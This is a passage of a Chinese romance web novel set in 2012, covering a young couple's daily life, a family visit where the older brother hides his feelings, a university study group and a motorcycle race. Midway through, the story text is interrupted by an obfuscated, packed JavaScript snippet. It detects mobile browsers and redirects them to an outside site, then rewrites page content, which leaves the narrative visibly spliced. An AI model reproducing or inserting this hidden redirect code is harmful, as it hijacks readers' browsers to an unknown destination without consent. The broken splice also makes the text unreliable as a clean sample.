激了文枫,他低头去解晓枫家居服的纽扣,突然,他翻身下床,冲进了卫生间。饶晓枫缓过来,起身,发现家居服上有血,她一边换衣服,一边走到卫生间门口问姜文枫怎么了。实在太糗了,姜文枫流鼻血了,第一次就这么潦草得失败了。鼻血止住了,姜文枫从卫生间出来,“对不起,我…”晓枫摇摇头,拉着文枫的手,上了床,两个人相拥而眠。 2012年7月29日 找各种理由各种借口,不愿意去买床垫的文枫被晓枫下了逐客令,才决定去买床上用品了,两个人骑车出门吃了早餐,然后直奔家具城。全天下的小情侣逛家具城,是不是都会躺倒在床上,滚一滚,翻一翻,然后模拟某些不可描述事情的动作,这样才能试出床垫的舒适程度。销售员一脸嫌弃,倒也不忘自己的本职工作,而且这对小情侣很养眼,特别是高高瘦瘦的男生,看着很可口,老阿姨也不免春心荡漾。 姜文枫结账用的是哥哥的副卡,结账的时候姜文枫还在嘀咕“其实可以不用花这些钱的,睡你的床就好。”约定好下午送货的时间,两个人又去选了三套床品四件套,一些生活日用品。中午两个人吃完烤肉就回家去,收拾完东西,两个人准备健身。 晓枫才恢复一些,准备锻炼下手臂力量,教练希望她即使后补也做好一切准备。但手臂确实是平时晓枫不曾在意锻炼的,俯卧撑做不了一点。对姜文枫来说,这是行活。前后给晓枫展示了上斜俯卧撑,跪姿俯卧撑,常规俯卧撑,钻石俯卧撑,下斜俯卧撑,蜘蛛俯卧撑…晓枫给了文枫一拳,你就是想秀你的上肢力量,文枫也不客气,他缓缓弯曲手臂,那肱二头肌瞬间隆起,肌肉的线条清晰可见,像是被精心雕刻的艺术品,随着手臂的弯曲,肱二头肌上的青筋也若隐若现,如同蛰伏的青色小蛇,随时准备跃动。“来,让你摸摸。”晓枫毫不客气,走到文枫面前,伸手去摸他的胸肌,猝不及防让文枫泄了气,弯腰去咯吱晓枫,“胸肌摸着比较有手感,腹肌行不行,我也想摸。” 哈哈哈,嘻闹的声音在房间回荡。突然门铃响了,他们以为是送床垫的服务人员,姜文枫打开门,“哥。”饶晓枫披上外套,她也跟着喊了一声哥。“你们俩动静挺大。”文枫笑着又准备去偷袭晓枫,晓枫笑着到餐台去倒水,“哥,有事吗?”这才发现哥哥身后还有四个人,统一的工作服,“给你们做下卫生。”晓枫把水递给姜文清,“我们可以慢慢来做。”“你指望这个小少爷做家务?!你直接告诉他们,需要做什么。”文枫也劝说晓枫,“让他们做吧,快点,一会还要收东西。”“是买什么家具呢?”“嗯,早上去买了一张床垫和一些生活用品,一会送货。”饶晓枫带着工作人员上了楼,告知了做卫生的需求,窗帘清洁,擦玻璃,普通家务清洁。“一会收货,需不需要我帮忙?”在得到弟弟否定的答复之后,姜文清就离开了。 因为家里有人,他们也没有再继续健身。晓枫拿出上学期缺考科目的课本,准备复习补考,姜文枫也随她坐在桌边,帮她复习公共课的内容。看了会书,晓枫起身出门去抽了根烟,回来冲了杯咖啡,继续坐下复习。姜文枫很想告诉女朋友抽烟对身体不好,特别是对心肺功能不好,如果想继续运动就应该戒烟,但是他还是放弃了直接说教。送床垫的师傅,把旧的床垫也直接带走了,不停的表达着可惜,其实蛮新的一张床垫。家政服务人员,等做完卫生,拿走全屋脏的窗帘,约好两天之后再来挂窗帘。这会儿已经过了晚饭的点,两个人都有点饿了,就到家最近的便利店买了三明治。借新买的床垫有味道为由,文枫又赖在晓枫的床上不肯走,奈何没有窗帘,就只是睡觉,纯睡觉,素的。 一起运动,一起学习,一起睡觉,小情侣的生活挺美好的,除了做饭问题。 4. 脚,你争点气啊! 2012年8月7日 这天,文清来他们家告诉两人,二叔四叔回来了,会在家里住两周时间,约他俩回家吃饭,最好是住几天。 饶晓枫还是有点紧张,不知道如何一下面对这么多人的审视。 2012年8月9日 这天两人起个大早,把提前准备的礼物带上,骑上摩托车就往家的方向驶去。 摩托车在门口停下,二叔和四叔在门口坐着抽烟,看到摩托车停下,四叔起身去迎。 两人从摩托车下来,摘下头盔。 姜文枫拿上装礼物的包,饶晓枫跟在他的身后,姜文枫牵起她的一只手,然后微微使力握紧给她一点勇气。 二叔,四叔,这是饶晓枫,我女朋友。饶晓枫一边点头一边喊着二叔,四叔。 四叔招呼他们赶紧进屋,待他们走到前面,四叔狠狠在文枫屁股上拍了一下。 刚到门口,姜恒和姜婉两个人已经在门口迎着。 文清接过文枫的包,把他们俩迎进家门,坐在沙发上。 姜婉端茶递水,拿水果,饶晓枫觉得姜婉的眼神就像春天的暖阳,眼神在自己身上不肯离开。嘴角总是不自觉地上扬,那笑容就像盛开的花朵。她会亲昵地拉着自己的手,说,“晓枫,你好瘦,是不是文枫没有把你照顾好?你们就回家住吧。” 这时候,文枫已经被二叔四叔叫走,到一旁聊天去了。 四叔最关心的是,晓枫骑的摩托车,并不住表达对晓枫的喜欢。 听了姜文枫的讲述,二叔严肃的说,你那是吊桥效应。你坐摩托车那种紧张的感觉,你以为是她让你产生的心跳的感觉。提醒他考虑清楚两个人的关系。 两个叔叔,倒是一致觉得,姜文枫话多了,笑容也多了。 姜文枫还是觉得丢下晓枫一个人跟妈妈聊天不好,于是回到晓枫身边。 这时姜文清给两个叔叔送来一盘水果,四叔调侃到“文清,你弟弟领先了。你是怎么回事呢?” “不急,我的女朋友还在幼儿园。”这种调侃让两个叔叔放声大笑。 姜婉跟文枫也提了搬回家住的事情,这边离学校更近,马上开学,他们生活也会方便些,文枫答应考虑一下。 中餐餐桌上姜文枫的目光总是在餐桌上扫视,一旦发现晓枫爱吃的菜,便毫不犹豫地伸出筷子,精准地夹起一块鲜嫩的红烧肉,轻轻放到晓枫的碗里,那动作轻柔又迅速,仿佛在放置一件珍贵的宝物。 当晓枫想要拿餐巾纸时,文枫像是有心灵感应一般,在晓枫的手还未完全伸出去之前,就已经把餐巾纸递到了她的面前,嘴角还带着一抹温柔的笑意。 姜文枫熟练地为晓枫剥着虾壳,手指灵活地剥开虾皮,将白白嫩嫩的虾肉完整地放在她的盘子里,眼睛里满是宠溺,嘴里还轻声说着:“多吃点。” 姜婉也是笑容不断,不断重复,“你也叫晓枫,跟我们家晓枫特别有缘分。” “谈恋爱之后,文枫话多了,笑容多了。”… 恨不得让晓枫现在立马改口叫爸爸妈妈。 中餐之后,姜文清在客厅看到后院的这一幕,文枫躺在躺椅上,晓枫侧身躺在他的身上,头枕在文枫的锁骨处。文枫左手抚摸着她的背,右手放在晓枫的眼睛上面,替她挡住漏进来的阳光。 这一幕,被二叔和四叔看到了,两个人又开始了私下曲曲,“你看到了?” “你也察觉了?” “我们家是逃不过这种命运吗?一定有个女人,介入兄弟之间。” “希望文清明白事理。” “文清就是太像大哥,什么都自己扛。”… 两个人把聊天的场所搬到后院,正好晓枫也睡醒了,大家坐在一起聊开。最开心的就属文枫,一向高冷的文枫,居然成了话最多的那一个。 “老鼠为什么会飞?” “不知道。” “因为老鼠吃了仙丹。” “哦。” “那蛇为什么会飞?” “蛇吃了老鼠。” “对了,那老鹰为什么会飞?” “因为老鹰吃了蛇。” “因为老鹰本来就会飞。”文枫乐不可支,红着脸,往晓枫怀里躲。 四叔,最后得出的结论是,“晓枫,你的这些招数,只对文枫有效。” 晓枫说,那我可以试试,于是她让文枫去把礼物包拿过来,把文清哥哥叫过来。 二叔实在是没兴趣知道接下来的戏码,就起身找姜恒喝茶去了。 “文清哥,你坐这里吧。”此时晓枫,文枫,文清三个人成一个三角形坐着。 晓枫摊开自己的手掌,说,“我的手上有两块蛋糕。”文枫点头,“文清哥,你伸开手掌。”文清一边摊开手掌,一边说,“我不信。” 晓枫做出一个用勺子挖蛋糕的动作,然后把“勺子”伸到文枫的嘴巴边,文枫配合的张开嘴巴,“好不好吃?”文枫红着脸说,好吃。“是什么味道?”“是草莓味。” 文清提醒弟弟,“她手上没有蛋糕。”“如果没有蛋糕,文清哥为什么一直帮我端着蛋糕?”文清也意识到自己一直摊开着手掌,他赶忙收起自己的手。 晓枫继续说,“文枫,你帮我把这个草莓蛋糕拿一下。”然后她把“蛋糕”拿到文枫手上,从她手心掉下了一个钥匙扣落到文枫手心,文枫脸更红了。 文清又来拆台,“可是弟弟,这并不是蛋糕啊。”晓枫从包里面拿出一块草莓蛋糕递给文枫,“亲爱的,这是你的草莓蛋糕。” 姜文枫彻底沦陷了,姜文清正准备笑的,晓枫从包里拿出一块黑森林蛋糕递给文清,“文清哥,你忘了,我说我手上有两块蛋糕,这块是给你的。上次搬家具的时候,看到文清哥在吃黑巧克力,这个蛋糕你应该喜欢。” 四叔感叹了一句,“我靠,文枫,你完了。”就走向二叔。文清笑着拿起蛋糕,道了声谢,上楼回自己房间去了。 四叔走向正在喝茶的大哥和二哥,二叔忍不住,“你觉得怎么样?”四叔摇摇头坐下,“老大搞不好比小的陷的还深,你们什么时候,看过文清那个窘迫的状态,他已经忍不住了,应该是回房间去了。” 二叔走到后院,听他俩在聊那个从日本买回来的钥匙扣,文枫有多么喜欢之类的,臭着脸,打断他们“怎么也不去帮帮你妈妈?”“二叔,你应该去找我爸帮我妈,找晓枫干什么。”“你妈妈能干家务,她不能干嘛?”“妈妈干家务是她的事情,和爸爸的事情,又跟我们有什么关系呢?” 晓枫赶紧起身,拍了拍姜文枫,示意他好好跟二叔说话。她从包里拿出一包西湖龙井,递给二叔,“这是给二叔的礼物,希望你喜欢,你们聊。” 然后拿着包包进屋去了。她先看到了,在喝茶的文枫爸爸和四叔。她小心的走过去,把一对天鹅水晶摆件递给文枫爸爸,“叔叔,文枫说他不小心弄坏了一个桌面摆件。这是他用心挑的,买了很久,很想跟你们道歉。但是又不好意思,我替他跟你们道个歉,这个礼物希望你喜欢。四叔,这是给你的礼物。” 说完递给四叔一个BBR的车模,“喜欢,你们在家住几天,有时间,我们出去骑车。”“好啊!”提到摩托车晓枫瞬间来了兴致。“我先上楼去找阿姨。” 晓枫小碎步跑上楼,看到阿姨正在收拾房间。 晓枫在门口喊了一句,“阿姨。”姜婉停下手里的活,把晓枫让进房间,你们回家住几天,你跟阿姨睡,好不好?我有好多话,想跟你说。”“好啊,麻烦你了。”“千万别说麻烦,我们是一家人。我和文枫他爸爸都喜欢你,你把我们当自己爸爸妈妈。一家人不说麻不麻烦。”“谢谢,阿姨!这是给你准备的礼物。” 晓枫从包里掏出最后一份礼物,给文枫妈妈准备的一条驼绒围巾。“晓枫,有心了,谢谢你。” 姜婉看了看围巾,“这个颜色会不会太年轻?适合你,晓枫。” “阿姨,你本来就很年轻。我和文枫都很喜欢这个颜色,所以买了两条,到时候,我们一起戴,就像姐妹一样,一起逛街。” 说完,就把头靠向姜婉,姜婉也连忙靠近,摸着她的头说,“好好好。” 唯一郁闷的是,还在房间里面自闭的姜文清,拿着蛋糕上楼的时候,他的眼泪止不住的流。 他赶紧关上房门,解开外套的纽扣,瘫坐到办公桌前的椅子里面。 平时那么合适的椅子,现在像一座大山,他深深得陷在里面,压得他喘不过气。他深呼深吸,慢慢调整自己的呼吸。 饶晓枫就像遥远星空中最璀璨的一颗星,即使现在的自己拼尽全力踮起脚尖,也始终无法触及。每次目光不小心落在她身上,心中就像有只小鹿乱撞,可下一秒,又被无尽的失落淹没。 四叔在楼下喊晓枫打破了每个人的思绪,晓枫赶忙下楼,“四叔,怎么了?” “去骑车。” “好啊!” 此时的姜文枫还在后院睡觉,晓枫离开之后,他并不想跟二叔再聊什么,就用假装睡觉来避开。 姜文清从房间走出来,看着晓枫脱掉了外套,走到门口,从摩托车里面拿出一件机车夹克穿在身上。 紧贴的机车夹克更凸显她的身材,什么身材呢?前平后板,太不符合审美了。 四叔看了看时间,跟姜恒招呼一声,“一个小时后,我们回来。”两个人骑上摩托,“晓枫,让让我老人家。”“四叔,我跟在你身后。” 他们一起出发了,穿过人群,往郊区走,车更少了,人更少了。 他们更方便操控摩托车的行驶,一直跟在后面的晓枫,猛地加大油门,超过四叔,迅速把车别到车道中间,并不拉大两辆车的距离,想堵住四叔超车的合理车距。 在前面她也没有再加大车速,这样让四叔很难判断超车的时机。 眼见前一个路口马上转红灯,她提高车速,在黄灯的最后一秒,冲出马路。到了对面马路,她就停下了摩托车等四叔。 四叔等着变灯,不慌不忙赶上来。 两个人准备返程,回去的路上,晓枫一直跟在四叔的后头。 文枫看见四叔和晓枫回来了,正准备去牵晓枫,四叔阻止他,“晓枫,你过来,我有话跟你说。” 晓枫和四叔来到院子的另一角。大家都看到四叔在跟晓枫说着什么,表情很严肃,晓枫低着头,不住点头。 四叔拍拍她的肩膀说,“去吧,准备吃晚饭了。” 晓枫又笑脸盈盈得跑向姜文枫,四叔随后也上了餐桌。 席间,四叔不停夸晓枫摩托车天赋不错,驾驶技术也好,加以训练,可以走职业道路。 文枫侧面打听四叔说了什么,两个人都讳莫如深,他便不再追问。 晚上,得知晓枫跟妈妈睡,自己只能回自己房间睡,姜文枫表达了一些抗议,但是没有人站他。 这天晚上,姜文清是最早入睡的,他不想和任何人聊天,因为大伙的话题离不开那个女生。 姜婉和晓枫一直聊天聊到凌晨三点多,晓枫从来没有如此摊开自己的心,她把那些不愿提起的往事,全部都掏出来,反复咀嚼。 说着说着,哭了,说着说着,又笑了。 对于失踪的那一个月到底做什么了,她还是没有说。 2012年8月10日 姜文清起的最早,他出门跑步回来,正好碰到买早餐回来的二叔和四叔,这时,家里的男人们都起床了,收拾停当,准备吃早餐。 但是两个女人的房间,还没有动静。是吃还是等,众人没有统一的意见。姜文清扒拉了两口,就去上班了。 所有人都知道他心情不太好,除了文枫,其他人都知道原因。 其他人都还在等,文枫跑到后院去投篮,练练手,马上要返校集训了。 到九点多,姜婉和晓枫才起床。吃完早餐之后,晓枫陪文枫去后院打篮球,二叔和四叔出门办事,都晚上回家吃饭。 剩下这一家四口,准备中午开车出门吃饭。 吃完饭,姜恒和姜婉去银行办了点事,然后一起开车回家了。 下午,晓枫继续找文枫教她上篮,看文枫的动作那么丝滑,那么帅,在自己身上,怎么都不对,“脚,你争点气啊!” 文枫捧着肚子,笑得前仰后合,眼睛眯成了一条缝,嘴巴张得大大的,笑声像决堤的洪水倾斜而出。晓枫拿球砸向他,表达着抗议。 她准备去厨房帮忙,文枫又跟在她身后,“你别把厨房搞爆炸了,我还想吃晚餐呢!” 晚餐之后,小情侣正好单独活动,众人想提醒下姜文清,姜文清知道自己伪装得并不好,二叔最直接,“你打算怎么办?” 文清不知道怎么回答这个问题,沉默着,心里想着,他们最好是别搬回来住,不搬回来就行了吗?自己还是不争气的去找他们,电话可以解决的事情,他非要出面去解决,就为了可以见晓枫一面。 一直一直的沉默,“算了,别逼他了。他能处理好的。” 还是一直一直的沉默,临走开之前,姜文清只留下了一句“如果可以重来,我会更勇敢点。” 姜婉担忧得问老公,“会不会是我们太敏感?文清他只是关心他们俩,毕竟文枫跟他最亲。弟弟现在恋爱了,他有点失落。” “希望是这样,让他们自由发展吧,这也是没法干预的。” 晚上睡觉之前,姜恒和姜文枫异口同声提醒自己的女人,早点休息,别聊天聊那么晚。 姜文枫走进文清房间,他不知道哥哥睡了没有,“哥,能不能聊聊?” “嗯。” “哥,你喜不喜欢晓枫?” 文清睁大眼睛,这个问题好像打开了他的开关,“喜欢啊,家里人都喜欢她。特别是妈妈,两个人有聊不完的话题。” “那你为什么不理晓枫?” “有吗?我没有针对她,你太敏感了。” “我希望你喜欢她,毕竟你是我最亲爱的哥哥。”说完,文枫往文清怀里钻。 文清浑身起鸡皮疙瘩,“弟弟,你别跟我来这一套。”连连推开文枫,自己也差不多退到床的最边缘。 “你要不要看看,你现在是个什么样子?” “怎么了?” “你像是觉醒了什么基因,跟原来是两个人,以前你谁也不理。除了有事找我,其他时候都不会主动跟我说话,更别说跟我撒娇,每天都是酷酷的,生活中除了学习就是篮球。” “有这么大的变化吗?” “你自己没感觉吗?” “现在很轻松,面对晓枫,我觉得很自在。” “那说明晓枫是对的人,你可以做自己,做一个自在的人,好好珍惜她。” “嗯。哥,”文枫又开始撒娇,“明天能不能跟爸爸妈妈说一声,我想跟晓枫睡。” “你们俩发生过?”文枫被问的脸红了,“没有。” “哥哥说这话可能不合适,但这也是迟早的事情,记得做好保护措施,别让她受伤害。” “我知道,哥,我听爸爸妈妈的安排。” 姜文清心想,逃避不是办法,让一切自然发生吧,任伤害翻涌上来吧,我需要一个强大的心脏。 这个晚上姜婉和晓枫,聊着聊着都睡着了,最后一次看时间,是2点多。 2012年8月11日 这天早晨,大家不约而同得晚点起来,兄弟俩在后院打篮球,姜恒和二弟四弟去买了早餐,等到9点,婆媳俩起床,大家一起吃早餐。 餐桌上,姜婉再一次表达了对晓枫的喜欢,“晓枫,你现在住的房子还是用你妈妈的赔偿金在还贷款,是不是?” “嗯。” “剩下的贷款,我们已经一次性还清了。这张银行卡,你拿着做生活费。文枫,你要好好照顾晓枫,想要搬回家,随时可以,我和你爸爸已经认定这个儿媳了。” 文枫替晓枫收下了银行卡,他注意到晓枫泪眼婆娑,手指温柔地落在她的背上,他的手掌缓缓地、有节奏地在她的脊背上来回移动,从肩胛骨到腰部,每一次的抚摸都仿佛带着无尽的安抚力量,那动作轻柔得如同在对待世间最易碎的珍宝。 早餐后,各自分开活动,文枫和晓枫也回到自己的家。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033211|162346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>八月的训练开始了,两个人早晨一起出门,晚上一起回家,回家之后还要补习,日子过得很充实。 九月份开学后,甄康把他们组织活动的时间表发给了晓枫,她选了两场本市的活动参加,确保错开补考的时间,也确保不会影响啦啦队的训练。 2012年9月13日 饶晓枫参加了第一场活动,活动的宣传招募都是甄康组织的,为了应对意外情况,还给每个人购买了保险,整个活动有条不紊得推进着。 晓枫玩得很开心,只是在赛后观看录像复盘时,觉得错过了一次很好的超车的机会。 2012年9月21日 星期五,这周结束了,饶晓枫也补完上学期缺考的科目,随即加入了系里已经分好的教研小组,第三组,并且空降成为小组长。 小组第一次的全体会议她错过了,今天她只拿到了本次活动的主题—论证“有理数与无理数相加的结果是无理数”。 她得独立准备3天之后的第二次小组会议,她作为组长要发言,并确认最终的行动方案。 数学是纯理科的研究,实在很枯燥。 这天下午啦啦队没有训练,晓枫因为姨妈期,下午请假回家去了。 文枫让她回家睡觉,晚上他回来的时候,会带上晚餐,篮球队马上开始巡回比赛,实在不能请假。 晓枫回到家,连衣裤都没有脱,直接上床睡觉了,没一会睡着了,没一会又醒了。 她起来洗了个澡,换上家居服,准备论题方案的设计。 她打开笔记本电脑,拿了几张A4纸在手边,方便自己写写画画。她又搬来几本参考书,回到书桌的时候,窗户吹进来的风,把A4纸吹得满地都是,她蹲在地上,一张一张捡起来,等她起身的,一阵眩晕,她晕倒在地上。 这边姜文枫仍是不放心,给哥哥打了个电话。姜文清又放下工作,打包了晚餐,输入密码进了门,文枫担心晓枫在睡觉,就把家门的密码告诉了哥哥。 姜文清脱了鞋,刚进客厅就看到晓枫晕倒在地上,他赶忙把餐食盒放在地上,跑过去,喊着“晓枫,晓枫”,把她抱起来,放到沙发上。“晓枫,晓枫”,饶晓枫醒过来了,伸手就准备去抓这个男人的手,“晓枫,我是文清哥。” 晓枫尴尬得收回手,文清也尴尬得转身走开去捡起晚餐的打包盒,“你怎么了?” “蹲在地上捡东西,起身太急,晕了。” 晓枫起身,上楼去换了身衣服,又下楼来,“文清哥,怎么过来了?” “文枫说你不太舒服,他没法请假回来,让我来看看。要不要去医院?” “不用,经常会这样,今天可能又有点饿。”说完,肚子不争气得咕噜咕噜叫。 姜文清把打包的晚餐,分装到碗里,放进微波炉,准备加热。 晓枫蜷着身子靠在沙发上,一个手揉着自己的头发,另一个手拿着电话。 讲完电话,起身朝厨房走过来,拉开冰箱准备倒牛奶喝。文清抢下她的水杯,“别喝冷的,我给你热一下。” “嗯。”晓枫来到书桌电脑跟前坐下。牛奶热好了,文清把牛奶递给晓枫,她一口气喝了,“文清哥,我想等文枫回家,一起吃饭,可以吗?” “可以,我不饿。” 晓枫在电脑上查着资料,不时在纸上画着流程图。 突然,她从板凳上起来,径直往门口走去,“文枫回来了。” 文清没有察觉到什么动静,听她说话,才起身望向门口。 晓枫打开大门,双手张开做出迎接的姿势,文枫跑进门,一把把她抱起来,放到鞋柜上面坐着,看着他换鞋,又把她公主抱到沙发上,低头用额头碰碰她的额头,“是不是很难受?” “嗯嗯。” 文清站在那里咳嗽了一声,他怕他俩继续,会有什么他不能看的项目。 文枫这才想起来,哥哥在这里。他正正身子,“哥,谢谢你。” “洗手吃饭吧,晓枫说要等你。” 文枫去洗手的功夫,晓枫缓慢挪到餐桌旁,看她微微弯着腰,好像是很不舒服。“吃饭吧。” 晚餐晓枫只吃了两口白米饭,三筷子青菜,一块鱼肉,文枫吃完饭,给她冲了一杯红糖水,她拿着红糖水,走到电脑跟前坐下,文枫跟她耳语了几句,就转身和哥哥一起把餐桌收拾完。 等他从厨房出来,看到晓枫还在电脑跟前,他生气得走到书桌前,直接把她打横公主抱起来,上楼,丢到床上,“是自己换衣服,还是我跟你扒?” “我自己换,你出去吧!” 文枫关门出去,下楼送哥哥出门,文清提议让他们搬回去住,至少三餐规律些,现在这样对身体很不好,对晓枫是这样,对文枫也是,他打球消耗也大,文枫再次表示会考虑。 文枫洗澡的时候,在考虑,下周自己要随球队去附近三个城市打比赛,晓枫能不能随队一起出行还未知。 这个傻丫头,一个人在家里一两周时间,实在让人不放心。 回家去住,把她交给爸爸妈妈吗? 文枫觉得,还是把她拴在自己身边比较保险。 2012年9月24日 星期一是小组第一次集中,大家集思广益,拿出自己的方案。 晓枫最后讲了自己的设计,有两个组员表示支持晓枫的方案,晓枫一个手指头敲着桌面,“你们的方案很好,但是在某些方面存在问题,刚才我已经说过原因了。既然我是组长,听我的,我可以将我的方案中的这几个点调整成你们需要的流程,但是大的框架不能动。我是组长,我负责。”见没人再说什么,晓枫继续,“根据我们大家共同商议的结果,按照:第一大点:有理数,无理数概念,包括定义和分类两个小项。第二大点:性质分析,包含有理数封闭性(分别论述加减乘除法的封闭性),无理数特性(从无限不循环,不可表示为整数之比,超越性,无限连分数表达式四个方面论述,加法运算规则(从结果性质,符号确定,运算规则三个方面论述)”。第三大点:论证过程,需要涉及反证法思路,假设与推导,矛盾得出三个小点。第四大点:证明过程,包括前提条件设定,逻辑推理过程,结论得出。咱们八个人,每两个人完成一个大点,按照姓氏首字母分组,3天后,27号,下午两点,我们线上汇报进度。谢谢大家!” 成员离开之后,教室里面只有晓枫一个人,她点上一根烟,一手拿烟,另一只手手指头仍然在桌面敲着。 “晓枫!”听到声音,晓枫首先掐灭烟头,回头看到文枫端着照相机走进教室。 “文枫,怎么是你?” “来找你,看到你们在搞小组讨论,就在门口等你了。新买的相机,这是刚才拍的。” 文枫按下播放键,原来是刚才晓枫小组讨论,和结束之后抽烟的视频。从视频中看自己抽烟,晓枫有点反感。 27日的线上会议很顺利,他们约定5天后再进行线上会议。 2012年9月28日 篮球队和啦啦队的名单都出来了,果然如姜文枫所料,晓枫不在名单里面。 姜文枫直接冲进田教练的办公室,“怎么还不回家?姜文枫”。 “教练,我需要啦啦队的饶晓枫随队出行。” “你开什么玩笑,名单是啦啦队教练定的,我改不了。” “如果改不了,我就不去了。” “你!”田教练拍着桌子站了起来。 “饶晓枫一起出行,我保证不擅自离队,不随便请假缺席训练。” “你出去”,姜文枫觉得事情成了。 果然晚上就接到教练电话,饶晓枫的名字加上了。 29号出发的时候,田教练还专门跟啦啦队马教练打听哪一个女生叫饶晓枫。 到了巡回赛的第一站S市,他们受到S市大学球队的欢迎,对方球队在场馆外面悬挂大幅海报,有篮球队员的,有啦啦队员的,好大阵仗。 但宣传效果是真的棒,听说门票早已售罄。 双方教练也是友好交流,在宣传策划方面,田教练有了点自己的想法。 5. 我的女朋友,啦啦队的,替补~~ 2012年9月30日 宁海大学上午训练,篮球队和啦啦队,各自一边,进行着最后的简单的训练,跑位。 临近中饭时间,两边训练结束。队员有各自自由活动的时间,这四个小时时间,文枫和晓枫早就安排好,他们提前跟甄康报备了参加下午S市的摩托车文化展,说是文化展,其实重头戏还是竞速摩托车比赛。 队伍解散的时候,田教练把姜文枫留下来,想跟他聊点什么,姜文枫直接拒绝,“教练,现在没时间。”“下午不是休息吗?你要干什么?”“看我女朋友的比赛。” 听到姜文枫嘴里的女朋友,尚未走远的篮球队员们七嘴八舌的靠过来,“文枫你有女朋友了”“什么比赛”“我们能不能一起去看”…“摩托车赛,下午2点”田教练突发奇想,“我们要不要一起去?”“我得先确认下票的事。” 姜文枫走到板凳旁拿出手机给甄康去了个电话,对方表示非常欢迎他们来玩,到了跟他联系就可以。 耽误了这么一会时间,大伙匆匆扒拉了几口中餐,就打车去了赛车场地。 饶晓枫训练结束就直接过来了,换好衣服,吃了几口中餐,她要熟悉下车辆,因为自己没法带车过来,甄康跟她搞了个同款的400参赛,驾驶体感上都差不多,技术参数稍有差别。 一切准备妥当,她跟姜文枫打来电话,此时篮球队一行人已经在场边坐好,甄康给安排到了不错的观赛点。 比赛马上开始了,广播中在介绍人员名单,队员问文枫,他女朋友叫什么名字。 “饶晓枫”姜文枫略带骄傲得介绍。听到这个名字,田教练诧异,姜文枫的审美能力好像有问题,啦啦队队长余丹丹,一米的大长腿,前凸后翘那种身材才配得上这小子。 当广播介绍到饶晓枫的时候,众人眼光齐刷刷看向场地中央,不太起眼的身高,紧致到基本没有轮廓的身材,众人又三三两两曲曲着,只有姜文枫一脸痴汉笑。 所有参赛选手准备出发了,发动机的轰鸣声,也刺激着看台上的观众们,但随着倒计时的响起,赛场周围弥漫着一种压抑的寂静,观众们都屏气凝神,仿佛整个世界都停止了呼吸。 看台上的人们身体前倾,眼睛死死地盯着起跑线,手中的旗帜、口中的呐喊都停下了,等待着那激动人心的一刻。这种紧张的寂静像是暴风雨来临前的平静,空气中充满了一触即发的能量。 与此同时,晓枫的双手紧紧地握住摩托车的把手,指关节因为过度用力而泛白。她的双腿不自觉地微微颤抖,仿佛在与内心的紧张情绪抗争,每一块肌肉都像是拉紧的弓弦,随时准备在比赛开始的刹那爆发出强大的力量。 这是文枫第一次来看她比赛,虽然不知道他坐在哪里,到能感受到他给予的关注和鼓励。 她的呼吸逐渐平稳。随着一声令下,晓枫猛地拧动油门。摩托车像离弦之箭一般冲了出去,强烈的推背感让她整个人都紧紧贴在了座位上。 风在她耳边呼啸而过,它像是一只无形的大手,想要把晓枫从车上拽下来,但不能让晓枫屈服。她熟练地换挡,身体随着摩托车的节奏倾斜,在第一个弯道处,她精准地控制着速度和角度,膝盖几乎擦着地面,完美地划过弯道。晓枫看到其他选手在视野边缘,他们也都在全力以赴。她心中涌起一股强烈的竞争意识,这不仅仅是一场挑战,更是弥补上场比赛失误的机会。 饶晓枫加大油门,摩托车像发疯了一样向前冲去,人车已经融为一体,在赛道上飞驰,感受着每一个颠簸,每一次加速带来的肾上腺素飙升的快感。在直道上,晓枫把速度提到了极致,周围的景物都变成了模糊的光影。 晓枫的眼睛始终盯着前方的路况,时刻准备应对任何突发情况。 又一个弯道临近,她提前刹车,降低速度,然后再次倾斜车身,顺利地转过弯道。 赛程已经过半,体力在一点点消耗,但晓枫斗志却丝毫不减。晓枫能听到自己粗重的呼吸声在头盔里回响,每一次呼吸都像是在为自己加油鼓劲。她想起了文枫的鼓励,那些话都在这一刻化作前进的动力。 接近终点的时候,晓枫咬紧牙关,再次拧动油门,把剩下的所有力量都倾注到这最后的冲刺中。摩托车如同一道闪电,第一个冲过终点。 看台上的文枫随着比赛的进程,已经激动得站起来挥手,看到晓枫第一个冲过终点,他瘫坐到位置上,心里急切得想跑过去抱起他的晓枫,给她一个深深地吻。“文枫你女朋友好厉害”“文枫,恭喜你们”“文枫,文枫…”姜文枫恢复了神志,“嗯嗯嗯”,也不知道在回应什么。 他们从观众席退场的时候,姜文枫接到了电话,说他等女朋友,让其他队员先回去。大伙八卦的雷达响起,无论如何不能错过这个吃瓜的机会,甚至田教练也表示,可以等等姜文枫。 姜文枫未置可否,只一心等着饶晓枫出来。 他的目光穿过人群捕捉到了她,那一刻,他的心像是被什么猛烈地撞击了一下。他立马撒开腿,风在耳边呼啸而过,他的头发被吹得有些凌乱。 她也看到了他,一抹红晕爬上脸颊,接着就像一只灵动的小鹿般跑起来。她的马尾辫在脑后欢快地跳动着,斜挎的包随着奔跑的节奏晃荡,两人的距离在快速缩短,他们的眼中只有对方那熟悉又无比想念的模样,虽然他们只分开了不到三个小时。没有什么是一个拥抱不能解决的,晓枫整个人挂在文枫的脖子上面,文枫稍微叉开双腿,低头去吻住了她的小仙女,他只敢试探性,浅浅得吻了几下,他好怕自己会沉沦会崩溃。 只有众人在风中凌乱。姜文枫拥着晓枫的肩膀,同她一起走到众人面前,骄傲得介绍起来,“饶晓枫,我的女朋友,啦啦队的,替补~~” 他故意把替补拖的很长,晓枫斜愣他一眼,用手肘偷袭了他一下,姜文枫假装吃痛的哎呀一声,又去揉她的头发,“你舍得打我?!” 众人看到了他脸上的笑容,听到了他撒娇的声音,这还是那个球风多变,眼神犀利,绝不认输的姜文枫嘛! 饶晓枫跟大家鞠了一躬,谢谢大家陪文枫来看比赛,如果大家对摩托车比赛有兴趣,可以找她一起玩。 